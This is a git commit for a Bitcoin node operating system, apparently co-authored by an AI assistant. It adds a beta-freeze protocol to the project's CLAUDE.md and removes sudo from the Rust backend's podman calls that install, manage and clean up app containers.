feat: rootless podman, session hardening, boot stability, sidebar fix
Rootless podman migration (TASK-11): - Remove sudo from all podman calls in PodmanClient + 8 backend files - Remove sudo from all podman/docker calls in deploy script - Restore full systemd security hardening: NoNewPrivileges, RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime, RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict - Enable loginctl linger for rootless container persistence - Remove Ollama from auto-deploy (marketplace-only) Session & auth hardening: - Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms) - Debounced 401 redirect in rpc-client.ts (prevents redirect storms) Boot stability: - optimize-debian.sh: adds chrony, swap, removes policy-rc.d - deploy script: pre-restart chrony + swap setup - ISO build: chrony package, swap file creation - BootScreen: no longer clears localStorage (prevents splash replay) - RootRedirect: sole owner of localStorage clearing on server ready UI fixes: - Sidebar opacity default changed from 0→visible (fixes missing sidebar after page-persistence login without entrance animation) - Console.log/error wrapped in import.meta.env.DEV guards - Remove unused route import from RootRedirect Beta tracking: - CLAUDE.md: beta freeze protocol added - MASTER_PLAN.md: TASK-11, TASK-17, phase structure - BETA-PROGRESS.md: initial tracking doc - Tagged v1.2.0-alpha.1 as pre-rootless baseline Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
48
CLAUDE.md
@@ -8,6 +8,54 @@ Archipelago is a **Bitcoin Node OS** — a bootable, self-sovereign personal ser
|
||||
**Target OS**: Debian 12 (Bookworm) — x86_64 and ARM64
|
||||
**Current version**: 0.1.0
|
||||
|
||||
---
|
||||
|
||||
## BETA FREEZE — ACTIVE (2026-03-18)
|
||||
|
||||
**Goal: Ship a flawless beta that works perfectly on every machine we install it on.**
|
||||
|
||||
We are in **beta stabilization mode**. The current feature set is LOCKED. Every session must push toward this goal.
|
||||
|
||||
### Pipeline
|
||||
|
||||
```
|
||||
PHASE 1: Feature Testing (internal) ← WE ARE HERE
|
||||
↓ Gate: every feature works, bugs fixed, security hardened, ISO verified
|
||||
PHASE 2: User Testing (real users on real hardware we don't control)
|
||||
↓ Gate: user-reported issues resolved, telemetry shows stable fleet
|
||||
PHASE 3: Beta Live (public release)
|
||||
```
|
||||
|
||||
### What IS allowed
|
||||
- Bug fixes for existing features
|
||||
- Security hardening and testing
|
||||
- Beta telemetry / node reporting (TASK-12 — needed for user testing)
|
||||
- UI/layout rearrangements (moving things around, improving flow)
|
||||
- Boot screen completion (FEATURE-4 — already in progress)
|
||||
- Testing all features end-to-end on fresh installs
|
||||
- Performance and reliability improvements to existing code
|
||||
- ISO build hardening
|
||||
|
||||
### What is NOT allowed
|
||||
- New features (watch-only wallet, mesh balance check, etc. are POST-BETA)
|
||||
- New app integrations
|
||||
- New backend modules or RPC endpoints (unless fixing existing bugs or beta telemetry)
|
||||
- New dependencies (unless required for beta infrastructure)
|
||||
- Scope creep of any kind
|
||||
|
||||
### Status tracking
|
||||
- **Progress tracker**: `docs/BETA-PROGRESS.md` — updated every session
|
||||
- **Beta checklist**: `docs/BETA-RELEASE-CHECKLIST.md` — the acceptance criteria
|
||||
- **Master plan**: `docs/MASTER_PLAN.md` — phased roadmap (Phase 1/2/3)
|
||||
|
||||
### Session protocol
|
||||
1. Read `docs/BETA-PROGRESS.md` at start of every session
|
||||
2. Report current phase and status before starting work
|
||||
3. Work only on current-phase items
|
||||
4. Update `docs/BETA-PROGRESS.md` at end of every session with what changed
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
```bash
|
||||
|
||||
@@ -140,9 +140,9 @@ impl RpcHandler {
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: list containers directly via sudo podman (for bundled apps)
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "json"])
|
||||
// Fallback: list containers directly via podman (for bundled apps)
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "json"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to list containers via podman")?;
|
||||
|
||||
@@ -45,8 +45,8 @@ impl RpcHandler {
|
||||
// Dependency checks: verify required services are running before install
|
||||
let has_lnd;
|
||||
{
|
||||
let dep_check = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "--format", "{{.Names}}"])
|
||||
let dep_check = tokio::process::Command::new("podman")
|
||||
.args(["ps", "--format", "{{.Names}}"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to check running containers")?;
|
||||
@@ -101,8 +101,8 @@ impl RpcHandler {
|
||||
}
|
||||
|
||||
// Check if container already exists
|
||||
let check_output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "{{.Names}}", "--filter", &format!("name=^{}$", package_id)])
|
||||
let check_output = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "{{.Names}}", "--filter", &format!("name=^{}$", package_id)])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to check existing containers")?;
|
||||
@@ -117,8 +117,8 @@ impl RpcHandler {
|
||||
let is_local_image = docker_image.starts_with("localhost/");
|
||||
let has_local_fallback = if !is_local_image {
|
||||
let local_tag = format!("localhost/{}:latest", package_id);
|
||||
let check = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "images", "-q", &local_tag])
|
||||
let check = tokio::process::Command::new("podman")
|
||||
.args(["images", "-q", &local_tag])
|
||||
.output().await.ok();
|
||||
check.map_or(false, |o| !String::from_utf8_lossy(&o.stdout).trim().is_empty())
|
||||
} else { false };
|
||||
@@ -129,8 +129,8 @@ impl RpcHandler {
|
||||
self.set_install_progress(package_id, 0, 0).await;
|
||||
|
||||
// Stream pull progress via piped stderr
|
||||
let mut child = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "pull", docker_image])
|
||||
let mut child = tokio::process::Command::new("podman")
|
||||
.args(["pull", docker_image])
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()
|
||||
@@ -165,8 +165,8 @@ impl RpcHandler {
|
||||
debug!("Using local build for {} (skipping registry pull)", package_id);
|
||||
} else {
|
||||
// Verify local image exists
|
||||
let images_output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "images", "-q", docker_image])
|
||||
let images_output = tokio::process::Command::new("podman")
|
||||
.args(["images", "-q", docker_image])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to check local image")?;
|
||||
@@ -187,7 +187,7 @@ impl RpcHandler {
|
||||
|
||||
// Create and start container with security constraints
|
||||
let mut run_args = vec![
|
||||
"podman", "run",
|
||||
"run",
|
||||
"-d", // Detached
|
||||
"--name", container_name,
|
||||
"--restart=unless-stopped", // Auto-restart policy
|
||||
@@ -252,8 +252,8 @@ impl RpcHandler {
|
||||
run_args.push("--cap-add=NET_RAW");
|
||||
run_args.push("--device=/dev/net/tun");
|
||||
} else if needs_archy_net {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "network", "create", "archy-net"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["network", "create", "archy-net"])
|
||||
.output()
|
||||
.await;
|
||||
run_args.push("--network=archy-net");
|
||||
@@ -367,7 +367,7 @@ printtoconsole=1\n", rpc_pass);
|
||||
debug!("Running container with args: {:?}", run_args);
|
||||
|
||||
// Build command with optional custom command
|
||||
let mut cmd = tokio::process::Command::new("sudo");
|
||||
let mut cmd = tokio::process::Command::new("podman");
|
||||
cmd.args(&run_args);
|
||||
|
||||
// Add custom command/args if specified
|
||||
@@ -397,9 +397,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
tokio::time::sleep(std::time::Duration::from_secs(30)).await;
|
||||
for domain_idx in 1..=2u8 {
|
||||
let value = if domain_idx == 1 { host_ip.as_str() } else { "localhost" };
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "exec", "-u", "33", "nextcloud",
|
||||
"exec", "-u", "33", "nextcloud",
|
||||
"php", "occ", "config:system:set",
|
||||
"trusted_domains", &domain_idx.to_string(),
|
||||
"--value", value,
|
||||
@@ -415,17 +415,17 @@ printtoconsole=1\n", rpc_pass);
|
||||
if matches!(package_id, "bitcoin" | "bitcoin-core" | "bitcoin-knots") {
|
||||
tokio::spawn(async move {
|
||||
let ui_dir = "/opt/archipelago/docker/bitcoin-ui";
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "build", "-t", "localhost/bitcoin-ui", ui_dir])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["build", "-t", "localhost/bitcoin-ui", ui_dir])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "rm", "-f", "bitcoin-ui"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["rm", "-f", "bitcoin-ui"])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "bitcoin-ui",
|
||||
"run", "-d", "--name", "bitcoin-ui",
|
||||
"--restart=unless-stopped",
|
||||
"-p", "8334:80",
|
||||
"localhost/bitcoin-ui:latest",
|
||||
@@ -446,8 +446,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
|
||||
/// Install Immich stack (postgres + redis + server)
|
||||
async fn install_immich_stack(&self) -> Result<serde_json::Value> {
|
||||
let check = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "{{.Names}}"])
|
||||
let check = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "{{.Names}}"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to list containers")?;
|
||||
@@ -456,12 +456,12 @@ printtoconsole=1\n", rpc_pass);
|
||||
return Err(anyhow::anyhow!("Immich already installed. Stop and remove it first."));
|
||||
}
|
||||
if stdout.contains("immich\n") || stdout.lines().any(|l| l.trim() == "immich") {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stop", "immich"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["stop", "immich"])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "rm", "-f", "immich"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["rm", "-f", "immich"])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -472,8 +472,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
"ghcr.io/immich-app/immich-server:release",
|
||||
];
|
||||
for img in &images {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "pull", img])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["pull", img])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -482,14 +482,14 @@ printtoconsole=1\n", rpc_pass);
|
||||
.args(["mkdir", "-p", "/var/lib/archipelago/immich", "/var/lib/archipelago/immich-db"])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "network", "create", "immich-net"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["network", "create", "immich-net"])
|
||||
.output()
|
||||
.await;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "immich_postgres", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "immich_postgres", "--restart", "unless-stopped",
|
||||
"--network", "immich-net",
|
||||
"-v", "/var/lib/archipelago/immich-db:/var/lib/postgresql/data",
|
||||
"-e", "POSTGRES_PASSWORD=immichpass", "-e", "POSTGRES_USER=postgres", "-e", "POSTGRES_DB=immich",
|
||||
@@ -499,9 +499,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "immich_redis", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "immich_redis", "--restart", "unless-stopped",
|
||||
"--network", "immich-net",
|
||||
"docker.io/valkey/valkey:7-alpine",
|
||||
])
|
||||
@@ -509,9 +509,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
|
||||
let run = tokio::process::Command::new("sudo")
|
||||
let run = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "immich_server", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "immich_server", "--restart", "unless-stopped",
|
||||
"--network", "immich-net", "-p", "2283:2283",
|
||||
"-v", "/var/lib/archipelago/immich:/usr/src/app/upload",
|
||||
"-e", "DB_HOSTNAME=immich_postgres", "-e", "DB_USERNAME=postgres",
|
||||
@@ -537,8 +537,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
|
||||
/// Install Penpot stack (postgres + valkey + backend + exporter + frontend)
|
||||
async fn install_penpot_stack(&self) -> Result<serde_json::Value> {
|
||||
let check = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "{{.Names}}"])
|
||||
let check = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "{{.Names}}"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to list containers")?;
|
||||
@@ -555,8 +555,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
"docker.io/penpotapp/frontend:2.4",
|
||||
];
|
||||
for img in &images {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "pull", img])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["pull", img])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -565,8 +565,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
.args(["mkdir", "-p", "/var/lib/archipelago/penpot-assets"])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "network", "create", "penpot-net"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["network", "create", "penpot-net"])
|
||||
.output()
|
||||
.await;
|
||||
|
||||
@@ -580,9 +580,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
};
|
||||
let host_ip = &self.config.host_ip;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "penpot-postgres", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "penpot-postgres", "--restart", "unless-stopped",
|
||||
"--network", "penpot-net",
|
||||
"-v", "/var/lib/archipelago/penpot-postgres:/var/lib/postgresql/data",
|
||||
"-e", "POSTGRES_DB=penpot", "-e", "POSTGRES_USER=penpot", "-e", "POSTGRES_PASSWORD=penpot",
|
||||
@@ -592,9 +592,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "penpot-valkey", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "penpot-valkey", "--restart", "unless-stopped",
|
||||
"--network", "penpot-net",
|
||||
"-e", "VALKEY_EXTRA_FLAGS=--maxmemory 128mb --maxmemory-policy volatile-lfu",
|
||||
"docker.io/valkey/valkey:8.1",
|
||||
@@ -603,9 +603,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(3)).await;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "penpot-backend", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "penpot-backend", "--restart", "unless-stopped",
|
||||
"--network", "penpot-net",
|
||||
"-v", "/var/lib/archipelago/penpot-assets:/opt/data/assets",
|
||||
"-e", &format!("PENPOT_PUBLIC_URI=http://{}:9001", host_ip),
|
||||
@@ -622,9 +622,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
||||
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "penpot-exporter", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "penpot-exporter", "--restart", "unless-stopped",
|
||||
"--network", "penpot-net",
|
||||
"-e", &format!("PENPOT_SECRET_KEY={}", secret),
|
||||
"-e", "PENPOT_PUBLIC_URI=http://penpot-frontend:8080",
|
||||
@@ -635,9 +635,9 @@ printtoconsole=1\n", rpc_pass);
|
||||
.await;
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
|
||||
let run = tokio::process::Command::new("sudo")
|
||||
let run = tokio::process::Command::new("podman")
|
||||
.args([
|
||||
"podman", "run", "-d", "--name", "penpot-frontend", "--restart", "unless-stopped",
|
||||
"run", "-d", "--name", "penpot-frontend", "--restart", "unless-stopped",
|
||||
"--network", "penpot-net", "-p", "9001:8080",
|
||||
"-v", "/var/lib/archipelago/penpot-assets:/opt/data/assets",
|
||||
"-e", &format!("PENPOT_PUBLIC_URI=http://{}:9001", host_ip),
|
||||
@@ -687,8 +687,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
};
|
||||
|
||||
for name in to_start {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "start", &name])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["start", &name])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -710,16 +710,16 @@ printtoconsole=1\n", rpc_pass);
|
||||
let containers = get_containers_for_app(package_id).await?;
|
||||
if containers.is_empty() {
|
||||
let container_name = format!("archy-{}", package_id);
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stop", &container_name])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["stop", &container_name])
|
||||
.output()
|
||||
.await;
|
||||
return Ok(serde_json::Value::Null);
|
||||
}
|
||||
|
||||
for name in containers {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stop", &name])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["stop", &name])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -741,16 +741,16 @@ printtoconsole=1\n", rpc_pass);
|
||||
let containers = get_containers_for_app(package_id).await?;
|
||||
if containers.is_empty() {
|
||||
let container_name = format!("archy-{}", package_id);
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "restart", &container_name])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["restart", &container_name])
|
||||
.output()
|
||||
.await;
|
||||
return Ok(serde_json::Value::Null);
|
||||
}
|
||||
|
||||
for name in containers {
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "restart", &name])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["restart", &name])
|
||||
.output()
|
||||
.await;
|
||||
}
|
||||
@@ -786,8 +786,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
|
||||
for name in &containers_to_remove {
|
||||
tracing::info!("Uninstall {}: stopping container {}", package_id, name);
|
||||
let stop_out = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stop", "-t", "10", name])
|
||||
let stop_out = tokio::process::Command::new("podman")
|
||||
.args(["stop", "-t", "10", name])
|
||||
.output()
|
||||
.await;
|
||||
match stop_out {
|
||||
@@ -802,8 +802,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
}
|
||||
|
||||
tracing::info!("Uninstall {}: removing container {}", package_id, name);
|
||||
let rm_out = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "rm", "-f", name])
|
||||
let rm_out = tokio::process::Command::new("podman")
|
||||
.args(["rm", "-f", name])
|
||||
.output()
|
||||
.await;
|
||||
match rm_out {
|
||||
@@ -885,8 +885,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
.and_then(|v| v.as_array())
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing volumes"))?;
|
||||
|
||||
let check_output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "{{.Names}}", "--filter", &format!("name={}", app_id)])
|
||||
let check_output = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "{{.Names}}", "--filter", &format!("name={}", app_id)])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to check container")?;
|
||||
@@ -894,8 +894,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
let existing = String::from_utf8_lossy(&check_output.stdout);
|
||||
|
||||
if existing.trim().is_empty() {
|
||||
let mut cmd = tokio::process::Command::new("sudo");
|
||||
cmd.args(["podman", "run", "-d", "--name", app_id]);
|
||||
let mut cmd = tokio::process::Command::new("podman");
|
||||
cmd.args(["run", "-d", "--name", app_id]);
|
||||
|
||||
for port in ports {
|
||||
if let (Some(host), Some(container)) = (
|
||||
@@ -938,8 +938,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
return Err(anyhow::anyhow!("Failed to create container: {}", stderr));
|
||||
}
|
||||
} else {
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "start", app_id])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["start", app_id])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to start container")?;
|
||||
@@ -965,8 +965,8 @@ printtoconsole=1\n", rpc_pass);
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing app_id"))?;
|
||||
validate_app_id(app_id)?;
|
||||
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stop", app_id])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["stop", app_id])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to stop container")?;
|
||||
@@ -1110,8 +1110,8 @@ fn parse_size_value(s: &str) -> Option<u64> {
|
||||
/// Get all container names for an app (handles multi-container apps like mempool)
|
||||
async fn get_containers_for_app(package_id: &str) -> Result<Vec<String>> {
|
||||
validate_app_id(package_id)?;
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "{{.Names}}"])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "{{.Names}}"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to list containers")?;
|
||||
@@ -1197,8 +1197,8 @@ const TRUSTED_REGISTRIES: &[&str] = &[
|
||||
/// Returns the container name to use as the RPC host (e.g., "bitcoin-knots").
|
||||
fn detect_bitcoin_container_name() -> String {
|
||||
// Synchronous check — called from get_app_config which is sync
|
||||
let output = std::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "--format", "{{.Names}}"])
|
||||
let output = std::process::Command::new("podman")
|
||||
.args(["ps", "--format", "{{.Names}}"])
|
||||
.output();
|
||||
if let Ok(out) = output {
|
||||
let names = String::from_utf8_lossy(&out.stdout);
|
||||
|
||||
@@ -422,11 +422,11 @@ async fn detect_usb_hardware_wallets() -> Result<Vec<serde_json::Value>> {
|
||||
Ok(devices)
|
||||
}
|
||||
|
||||
/// Prune dangling container images via `sudo podman image prune -f`.
|
||||
/// Prune dangling container images via `podman image prune -f`.
|
||||
/// Returns estimated bytes freed.
|
||||
async fn prune_container_images() -> Result<u64> {
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "image", "prune", "-f"])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["image", "prune", "-f"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to run podman image prune")?;
|
||||
@@ -444,11 +444,11 @@ async fn prune_container_images() -> Result<u64> {
|
||||
Ok(pruned_count as u64 * 100_000_000) // rough estimate
|
||||
}
|
||||
|
||||
/// Prune container build cache via `sudo podman system prune -f`.
|
||||
/// Prune container build cache via `podman system prune -f`.
|
||||
async fn prune_build_cache() -> Result<u64> {
|
||||
// Just prune volumes and build cache (not containers or images — those are handled above)
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "volume", "prune", "-f"])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["volume", "prune", "-f"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to run podman volume prune")?;
|
||||
@@ -625,18 +625,18 @@ impl RpcHandler {
|
||||
|
||||
// 2. Remove all container images
|
||||
tracing::info!("Factory reset: pruning all container images");
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["-u", "archipelago", "podman", "rmi", "--all", "--force"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["rmi", "--all", "--force"])
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// 3. Prune volumes and build cache
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["-u", "archipelago", "podman", "volume", "prune", "-f"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["volume", "prune", "-f"])
|
||||
.output()
|
||||
.await;
|
||||
let _ = tokio::process::Command::new("sudo")
|
||||
.args(["-u", "archipelago", "podman", "system", "prune", "-af"])
|
||||
let _ = tokio::process::Command::new("podman")
|
||||
.args(["system", "prune", "-af"])
|
||||
.output()
|
||||
.await;
|
||||
|
||||
|
||||
@@ -173,8 +173,8 @@ impl RpcHandler {
|
||||
|
||||
if !system_ok {
|
||||
// Fall back to container restart
|
||||
let container_ok = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "restart", "archy-tor"])
|
||||
let container_ok = tokio::process::Command::new("podman")
|
||||
.args(["restart", "archy-tor"])
|
||||
.status()
|
||||
.await
|
||||
.map(|s| s.success())
|
||||
@@ -339,8 +339,8 @@ impl RpcHandler {
|
||||
.unwrap_or(false);
|
||||
|
||||
if !system_ok {
|
||||
let container_ok = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "restart", "archy-tor"])
|
||||
let container_ok = tokio::process::Command::new("podman")
|
||||
.args(["restart", "archy-tor"])
|
||||
.status()
|
||||
.await
|
||||
.map(|s| s.success())
|
||||
|
||||
@@ -121,8 +121,8 @@ pub async fn remove_pid_marker(data_dir: &Path) {
|
||||
pub async fn save_container_snapshot(data_dir: &Path) -> Result<()> {
|
||||
let output = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "--format", "json"])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["ps", "--format", "json"])
|
||||
.output(),
|
||||
)
|
||||
.await
|
||||
@@ -195,8 +195,8 @@ pub async fn recover_containers(containers: &[RunningContainerRecord]) -> Recove
|
||||
|
||||
let result = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "start", &record.name])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["start", &record.name])
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
@@ -244,8 +244,8 @@ fn is_process_running(pid: u32) -> bool {
|
||||
pub async fn start_stopped_containers() -> RecoveryReport {
|
||||
let output = match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--filter", "status=exited", "--filter", "status=created", "--format", "{{.Names}}"])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--filter", "status=exited", "--filter", "status=created", "--format", "{{.Names}}"])
|
||||
.output(),
|
||||
)
|
||||
.await
|
||||
|
||||
@@ -55,8 +55,8 @@ async fn auto_cleanup() -> Result<u64> {
|
||||
let mut freed: u64 = 0;
|
||||
|
||||
// Prune dangling images
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "image", "prune", "-f"])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["image", "prune", "-f"])
|
||||
.output()
|
||||
.await;
|
||||
if let Ok(out) = output {
|
||||
|
||||
@@ -184,8 +184,8 @@ impl MemoryTracker {
|
||||
async fn check_container_memory() -> HashMap<String, u64> {
|
||||
let output = match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stats", "--no-stream", "--format", "{{.Name}} {{.MemUsage}}"])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["stats", "--no-stream", "--format", "{{.Name}} {{.MemUsage}}"])
|
||||
.output(),
|
||||
)
|
||||
.await
|
||||
@@ -243,8 +243,8 @@ fn parse_memory_string(s: &str) -> Option<u64> {
|
||||
async fn check_containers() -> Vec<ContainerHealth> {
|
||||
let output = match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "ps", "-a", "--format", "json"])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["ps", "-a", "--format", "json"])
|
||||
.output(),
|
||||
)
|
||||
.await
|
||||
@@ -320,8 +320,8 @@ async fn restart_container(name: &str) -> bool {
|
||||
info!("Auto-restarting unhealthy container: {}", name);
|
||||
let result = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(30),
|
||||
tokio::process::Command::new("sudo")
|
||||
.args(["podman", "start", name])
|
||||
tokio::process::Command::new("podman")
|
||||
.args(["start", name])
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
|
||||
